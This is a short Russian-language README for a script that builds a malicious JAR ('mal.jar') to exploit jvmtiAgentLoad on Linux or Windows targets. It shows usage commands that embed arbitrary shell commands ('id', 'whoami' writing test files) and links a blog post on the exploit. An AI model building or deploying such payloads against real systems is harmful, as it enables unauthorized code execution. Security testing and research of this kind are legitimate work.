
Инструменты и код для генерации вредоносного JAR-файла для эксплуатации jvmtiAgentLoad
Инструменты и код для генерации вредоносного JAR-файла для эксплуатации jvmtiAgentLoad
$ bash create_jar.sh
Usage: create_jar.sh <TARGET_OS> <COMMAND>
Supported TARGET_OS options: linux|windows
Следующая команда создаёт JAR-файл (mal.jar) для использования на целевой системе Linux:
bash create_jar.sh linux 'id > /tmp/jvmtiLoadAgent_test'
Следующая команда создаёт JAR-файл (mal.jar) для использования на целевой системе Windows:
bash create_jar.sh windows 'whoami > C:\\Users\\Public\\jvmtiLoadAgent_test.txt'
Запись в блоге о том, как работает эксплойт jvmtiAgentLoad, от pyn3rd